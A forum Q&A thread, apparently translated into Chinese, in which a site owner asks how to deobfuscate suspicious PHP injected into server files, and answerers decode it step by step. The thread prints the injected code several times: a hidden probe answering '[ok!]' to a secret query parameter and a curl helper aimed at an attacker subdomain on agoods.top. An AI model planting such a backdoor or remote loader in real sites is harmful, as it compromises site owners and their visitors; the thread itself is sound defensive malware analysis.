如何反混淆如下所示的 PHP 代码?

How to deobfuscate a PHP code that is written as below?

我已经看到此代码已添加到服务器文件中。它看起来像是恶意代码,我似乎无法 deobfuscate/decrypt 这段代码。

<?php 
@header('Content-Type:text/html;charset=utf-8');
error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; 
global $O; 
$O=urldecode($OOOOOO);
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
        exit;
    }else{
        echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9}; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

因为我总是想知道如果这发生在我身上会发生什么
我查了一下这段代码的作用。

首先是注释代码,下面只有注释。

请勿在您的计算机上执行此操作!

// Sets header ...
@header('Content-Type:text/html;charset=utf-8');
// Disables error reporting (sure to not trigger notifications on owner side).
error_reporting(0);
// Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\%{}!*|+,
//                                                                             ^ escaped by me
$OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
// Sets $O global (makes no sense to me).
global $O;
// decodes the url encoded string "qwertyuiopasdf...".
$O=urldecode($OOOOOO);
// $_GET['chen'] == '51-cn'
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){
    // Load this file into var.
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    // Explode by "<?php" (makes no sense to me).
    $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo);
    // If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){
        // then echo "[ok!]" and exit
        echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82};
        exit;
    }else{
        // else echo "[fail!]" and exit
        echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82};
        exit;
    }
}

// Following function got not called by provided code.
// I think its to load more code into the project.
// (I disabled the curl lines btw.)

// Set sub domain on var.
$oOooOO='z0807_1';
// Set url "http://z0807_1.agoods.top" on var.
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9};
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    // Init curl.
    #$ooooOOOooOo=curl_init();
    // Set url (given function param).
    #curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);
    // CURLOPT_RETURNTRANSFER = 1 to not echo out response.
    #curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);
    // 5 sec connection timeout.
    #curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);
    // Execute and set response to NEW var.
    #$oooooOOOOooO = curl_exec($ooooOOOooOo);
    #curl_close($ooooOOOooOo);
    // Return new var content.
    #return $oooooOOOOooO;
}

这里是“只是评论”部分。

// Sets header ...
// Disables error reporting (sure to not trigger notifications on owner side).
// Sets a char string: qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-"?\> <.-=:/1230654879';()&^$[]\%{}!*|+,
// Sets $O global (makes no sense to me).
// decodes the url encoded string "qwertyuiopasdf...".
// $_GET['chen'] == '51-cn'
    // Load this file into var.
    // Explode by "<?php" (makes no sense to me).
    // If "%71%77%65" is found in loaded file (part) (so if we loaded the "hacked" file)
        // then echo "[ok!]" and exit
        // else echo "[fail!]" and exit

// Following function got not called by provided code.
// I think its to load more code into the project.
// (I disabled the curl lines btw.)

// Set sub domain on var.
// Set url "http://z0807_1.agoods.top" on var.
    // Init curl.
    // Set url (given function param).
    // CURLOPT_RETURNTRANSFER = 1 to not echo out response.
    // 5 sec connection timeout.
    // Execute and set response to NEW var.
    // Return new var content.

我觉得这像

  • 不是注入的完整代码
  • 由检查注入是否成功的机器人完成
  • 根据需要将更多错误代码加载到项目中的脚本。

但愿您只是在某处被“标记”为“找到”- 所以实际上还没有发生任何事情。
但我不知道。

你可以一步步解开这个问题。

有这个 $OOOOOO 字符串,然后 URL-解码为 $O,产生以下内容(看起来像逐行通过键盘):

$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^$[]\%{}!*|+,";

从那时起,在许多地方访问此字符串的字符(使用鲜为人知且现在也已弃用的大括号语法来访问数组索引)并用于构建新字符串。我们可以用实际字符替换所有这些 $O{x} 位(我使用正则表达式替换):


if($_GET["c"."h"."e"."n"]=="5"."1"."-"."c"."n"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<"."?"."p"."h"."p",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "["."o"."k"."!"."]";
        exit;
    }else{
        echo "["."f"."a"."i"."l"."!"."]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="h"."t"."t"."p".":"."/"."/".$oOooOO."."."a"."g"."o"."o"."d"."s"."."."t"."o"."p"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

然后我们可以组合这些字符串,使它们更具可读性:


if($_GET["chen"]=="51-cn"){
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__);
    $oooOoOoOoOoooooOOooo = explode("<?php",$oooOoOoOoooOooOOooooo);
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$oOooOO='z0807_1';
$oOooOOoO="http://".$oOooOO.".agoods.top"; 
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){
    $ooooOOOooOo=curl_init();
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);
    curl_close($ooooOOOooOo);
    return $oooooOOOOooO; 
}

现在让我们重命名容易混淆的变量:


if($_GET["chen"]=="51-cn"){
    $varA = file_get_contents(__FILE__);
    $varB = explode("<?php",$varA);
    if(strpos($varB[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top"; 
function someFunction($varE){
    $varF=curl_init();
    curl_setopt ($varF, CURLOPT_URL, $varE);curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);$varG = curl_exec($varF);
    curl_close($varF);
    return $varG; 
}

接下来,我们把函数内部的长行拆分一下:

if($_GET["chen"]=="51-cn"){
    $varA = file_get_contents(__FILE__);
    $varB = explode("<?php",$varA);
    if(strpos($varB[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$varC='z0807_1';
$varD="http://".$varC.".agoods.top"; 
function someFunction($varE){
    $varF=curl_init();
    curl_setopt ($varF, CURLOPT_URL, $varE);
    curl_setopt ($varF, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($varF, CURLOPT_CONNECTTIMEOUT, 5);
    $varG = curl_exec($varF);
    curl_close($varF);
    return $varG; 
}

作为最后一步,我们可以为这些变量猜出更好的名称:

if($_GET["chen"]=="51-cn"){
    $thisFileSource = file_get_contents(__FILE__);
    $parts = explode("<?php",$thisFileSource);
    if(strpos($parts[1],'%71%77%65')!==false){ 
        echo "[ok!]";
        exit;
    }else{
        echo "[fail!]";
        exit;
    }
}

$subdomain='z0807_1';
$url="http://".$subdomain.".agoods.top"; 
function sendRequest($url){
    $curl=curl_init();
    curl_setopt ($curl, CURLOPT_URL, $url);
    curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
    $result = curl_exec($curl);
    curl_close($curl);
    return $result; 
}

至于此代码的作用:如果在 URL 中使用查询参数 chen=51-cn 调用它,它会检查当前文件是否包含 $OOOOOO 字符串的开头第一个 PHP 代码段,如果有,则 returns [ok!],否则 [fail!]。 (这对我来说听起来完全没用,因为如果代码不存在,那么它也不会 运行,所以 echo "[ok!]"; 就足够了......)此外,它准备了一个请求http://z0807_1.agoods.top 但它从未执行过,至少在您展示的那段代码中没有执行过。 (也许它在代码被注入的其他地方的代码中的其他地方执行!可能值得寻找 ooooooooOOOOOOOOoooooOOO。)

谷歌搜索“agoods.top”会发现许多看似无关的网站,这些网站的内容中包含各种 PHP 错误,例如 Warning: mysqli::__construct(): (HY000/1040): Too many connections in /www/wwwroot/z0930_1.agoods.top/connect2.php on line 7。 (具有讽刺意味的是,考虑到在 注入的 代码中,错误输出被抑制了。)浏览这些网站( 我非常小心地做了这些,所以你不会have to!) 表明它们中的一些行为是恶意的,例如在几秒钟后将用户重定向到一个虚假的“浏览器更新”页面,并且许多现在刚刚关闭。这让我相信那些也是被劫持的网站,并且代码应该最终从 zXXXX_X.agoods.top 上的攻击者站点中提取 HTML 并将其注入页面,但攻击者搞砸了并且还交付了PHP 错误最终出现在 Google 的缓存中。